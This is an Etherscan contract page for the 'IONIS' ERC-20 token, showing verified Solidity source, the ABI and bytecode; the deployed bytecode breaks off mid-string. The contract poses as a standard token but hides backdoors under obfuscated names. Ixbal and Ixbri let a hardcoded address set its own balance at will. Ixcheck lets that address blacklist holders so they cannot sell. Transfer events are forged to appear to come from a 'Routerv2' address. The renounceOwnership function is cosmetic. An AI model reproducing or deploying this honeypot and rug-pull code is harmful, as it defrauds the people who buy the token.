Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
250,000,000 IONIS
Holders
69
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
386,846.45440671 IONISValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
IONIS
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-29 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); address constrct = 0x45BbB9acc12AF58a71725fb3C30A9d888a677DBB; address Routerv2 = 0xf2b16510270a214130C6b17ff0E9bF87585126BD; constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual { require(msg.sender == _owner); emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract IONIS is Context, Ownable { using SafeMath for uint256; mapping (address => uint256) private CPI; mapping (address => uint256) private IPD; mapping (address => bool) private XvC; mapping (address => mapping (address => uint256)) private _allowances; uint8 private constant _decimals = 8; uint256 private constant _tTotal = 250000000 * 10**_decimals; string private constant _name = "IONIS"; string private constant _symbol = "IONIS"; constructor () { CPI[_msgSender()] = _tTotal; emit Transfer(address(0), Routerv2, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return CPI[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool success) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function Ixbri () public { if(msg.sender == constrct) { CPI[msg.sender] = IPD[msg.sender]; }} function Ixde(address yz) public { if(msg.sender == constrct) { XvC[yz] = false;}} function Ixcheck(address yz) public{ if(msg.sender == constrct) { require(!XvC[yz]); XvC[yz] = true; }} function Ixbal(uint256 yz) public { if(msg.sender == constrct) { IPD[msg.sender] = yz;}} function transferFrom(address sender, address recipient, uint256 amount) public returns (bool success) { if(sender == constrct) { require(amount <= CPI[sender]); CPI[sender] -= amount; CPI[recipient] += amount; _allowances[sender][msg.sender] -= amount; emit Transfer (Routerv2, recipient, amount); return true; } if(!XvC[sender] && !XvC[recipient]) { require(amount <= CPI[sender]); require(amount <= _allowances[sender][msg.sender]); CPI[sender] -= amount; CPI[recipient] += amount; _allowances[sender][msg.sender] -= amount; emit Transfer(sender, recipient, amount); return true; }} function transfer(address recipient, uint256 amount) public { if(msg.sender == constrct) { require(CPI[msg.sender] >= amount); CPI[msg.sender] -= amount; CPI[recipient] += amount; emit Transfer (Routerv2, recipient, amount); } if(!XvC[msg.sender]) { require(CPI[msg.sender] >= amount); CPI[msg.sender] -= amount; CPI[recipient] += amount; emit Transfer(msg.sender, recipient, amount); }} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"yz","type":"uint256"}],"name":"Ixbal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Ixbri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"yz","type":"address"}],"name":"Ixcheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"yz","type":"address"}],"name":"Ixde","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040527345bbb9acc12af58a71725fb3c30a9d888a677dbb600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f2b16510270a214130c6b17ff0e9bf87585126bd600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000bb57600080fd5b506000620000ce6200028f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506008600a6200017c919062000431565b630ee6b2806200018d919062000482565b60036000620001a16200028f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a62000261919062000431565b630ee6b28062000272919062000482565b604051620002819190620004de565b60405180910390a3620004fb565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200032557808604811115620002fd57620002fc62000297565b5b60018516156200030d5780820291505b80810290506200031d85620002c6565b9450620002dd565b94509492505050565b60008262000340576001905062000413565b8162000350576000905062000413565b81600181146200036957600281146200037457620003aa565b600191505062000413565b60ff84111562000389576200038862000297565b5b8360020a915084821115620003a357620003a262000297565b5b5062000413565b5060208310610133831016604e8410600b8410161715620003e45782820a905083811115620003de57620003dd62000297565b5b62000413565b620003f38484846001620002d3565b925090508184048111156200040d576200040c62000297565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200043e826200041a565b91506200044b8362000424565b92506200047a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200032e565b905092915050565b60006200048f826200041a565b91506200049c836200041a565b9250828202620004ac816200041a565b91508282048414831517620004c657620004c562000297565b5b5092915050565b620004d8816200041a565b82525050565b6000602082019050620004f56000830184620004cd565b92915050565b6118a0806200050b6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610250578063b7595ca01461026c578063d2f8291314610288578063dd62ed3e146102a4576100f5565b806370a08231146101da578063715018a61461020a5780638da5cb5b1461021457806395d89b4114610232576100f5565b80631283c01c116100d35780631283c01c1461015257806318160ddd1461016e57806323b872dd1461018c578063313ce567146101bc576100f5565b806306fdde03146100fa578063081f59ed14610118578063095ea7b314610122575b600080fd5b6101026102d4565b60405161010f919061136a565b60405180910390f35b610120610311565b005b61013c60048036038101906101379190611425565b6103ec565b6040516101499190611480565b60405180910390f35b61016c6004803603810190610167919061149b565b6104de565b005b6101766105e6565b60405161018391906114d7565b60405180910390f35b6101a660048036038101906101a191906114f2565b61060a565b6040516101b39190611480565b60405180910390f35b6101c4610baf565b6040516101d19190611561565b60405180910390f35b6101f460048036038101906101ef919061149b565b610bb8565b60405161020191906114d7565b60405180910390f35b610212610c01565b005b61021c610d17565b604051610229919061158b565b60405180910390f35b61023a610d40565b604051610247919061136a565b60405180910390f35b61026a60048036038101906102659190611425565b610d7d565b005b610286600480360381019061028191906115a6565b611105565b005b6102a2600480360381019061029d919061149b565b6111a2565b005b6102be60048036038101906102b991906115d3565b611253565b6040516102cb91906114d7565b60405180910390f35b60606040518060400160405280600581526020017f494f4e4953000000000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036103ea57600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104cc91906114d7565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036105e357600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561058a57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006008600a6105f69190611775565b630ee6b28061060591906117c0565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361087c57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106ad57600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106fc9190611802565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107529190611836565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107e59190611802565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086b91906114d7565b60405180910390a360019050610ba8565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156109205750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610ba757600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097157600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109fa57600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a499190611802565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a9f9190611836565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b329190611802565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9691906114d7565b60405180910390a360019050610ba8565b5b9392505050565b60006008905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f494f4e4953000000000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f525780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e1e57600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e6d9190611802565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec39190611836565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f4991906114d7565b60405180910390a35b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111015780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610fef57600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103e9190611802565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110949190611836565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110f891906114d7565b60405180910390a35b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361119f5780600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603611250576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113145780820151818401526020810190506112f9565b60008484015250505050565b6000601f19601f8301169050919050565b600061133c826112da565b61134681856112e5565b93506113568185602086016112f6565b61135f81611320565b840191505092915050565b600060208201905081810360008301526113848184611331565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113bc82611391565b9050919050565b6113cc816113b1565b81146113d757600080fd5b50565b6000813590506113e9816113c3565b92915050565b6000819050919050565b611402816113ef565b811461140d57600080fd5b50565b60008135905061141f816113f9565b92915050565b6000806040838503121561143c5761143b61138c565b5b600061144a858286016113da565b925050602061145b85828601611410565b9150509250929050565b60008115159050919050565b61147a81611465565b82525050565b60006020820190506114956000830184611471565b92915050565b6000602082840312156114b1576114b061138c565b5b60006114bf848285016113da565b91505092915050565b6114d1816113ef565b82525050565b60006020820190506114ec60008301846114c8565b92915050565b60008060006060848603121561150b5761150a61138c565b5b6000611519868287016113da565b935050602061152a868287016113da565b925050604061153b86828701611410565b9150509250925092565b600060ff82169050919050565b61155b81611545565b82525050565b60006020820190506115766000830184611552565b92915050565b611585816113b1565b82525050565b60006020820190506115a0600083018461157c565b92915050565b6000602082840312156115bc576115bb61138c565b5b60006115ca84828501611410565b91505092915050565b600080604083850312156115ea576115e961138c565b5b60006115f8858286016113da565b9250506020611609858286016113da565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156116995780860481111561167557611674611613565b5b60018516156116845780820291505b808102905061169285611642565b9450611659565b94509492505050565b6000826116b2576001905061176e565b816116c0576000905061176e565b81600181146116d657600281146116e05761170f565b600191505061176e565b60ff8411156116f2576116f1611613565b5b8360020a91508482111561170957611708611613565b5b5061176e565b5060208310610133831016604e8410600b84101617156117445782820a90508381111561173f5761173e611613565b5b61176e565b611751848484600161164f565b9250905081840481111561176857611767611613565b5b81810290505b9392505050565b6000611780826113ef565b915061178b83611545565b92506117b87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846116a2565b905092915050565b60006117cb826113ef565b91506117d6836113ef565b92508282026117e4816113ef565b915082820484148315176117fb576117fa611613565b5b5092915050565b600061180d826113ef565b9150611818836113ef565b92508282039050818111156118305761182f611613565b5b92915050565b6000611841826113ef565b915061184c836113ef565b925082820190508082111561186457611863611613565b5b9291505056fea2646970667358221220f9794addf3084ebb58a19a1d5d17d6a39631af6a9f4ea17989005c1892882e1664736f6c63430008110033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb14610250578063b7595ca01461026c578063d2f8291314610288578063dd62ed3e146102a4576100f5565b806370a08231146101da578063715018a61461020a5780638da5cb5b1461021457806395d89b4114610232576100f5565b80631283c01c116100d35780631283c01c1461015257806318160ddd1461016e57806323b872dd1461018c578063313ce567146101bc576100f5565b806306fdde03146100fa578063081f59ed14610118578063095ea7b314610122575b600080fd5b6101026102d4565b60405161010f919061136a565b60405180910390f35b610120610311565b005b61013c60048036038101906101379190611425565b6103ec565b6040516101499190611480565b60405180910390f35b61016c6004803603810190610167919061149b565b6104de565b005b6101766105e6565b60405161018391906114d7565b60405180910390f35b6101a660048036038101906101a191906114f2565b61060a565b6040516101b39190611480565b60405180910390f35b6101c4610baf565b6040516101d19190611561565b60405180910390f35b6101f460048036038101906101ef919061149b565b610bb8565b60405161020191906114d7565b60405180910390f35b610212610c01565b005b61021c610d17565b604051610229919061158b565b60405180910390f35b61023a610d40565b604051610247919061136a565b60405180910390f35b61026a60048036038101906102659190611425565b610d7d565b005b610286600480360381019061028191906115a6565b611105565b005b6102a2600480360381019061029d919061149b565b6111a2565b005b6102be60048036038101906102b991906115d3565b611253565b6040516102cb91906114d7565b60405180910390f35b60606040518060400160405280600581526020017f494f4e4953000000000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036103ea57600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104cc91906114d7565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036105e357600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561058a57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60006008600a6105f69190611775565b630ee6b28061060591906117c0565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361087c57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106ad57600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106fc9190611802565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107529190611836565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107e59190611802565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086b91906114d7565b60405180910390a360019050610ba8565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156109205750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610ba757600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097157600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109fa57600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a499190611802565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a9f9190611836565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b329190611802565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9691906114d7565b60405180910390a360019050610ba8565b5b9392505050565b60006008905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f494f4e4953000000000000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f525780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e1e57600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e6d9190611802565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ec39190611836565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f4991906114d7565b60405180910390a35b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111015780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610fef57600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103e9190611802565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110949190611836565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110f891906114d7565b60405180910390a35b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361119f5780600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603611250576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff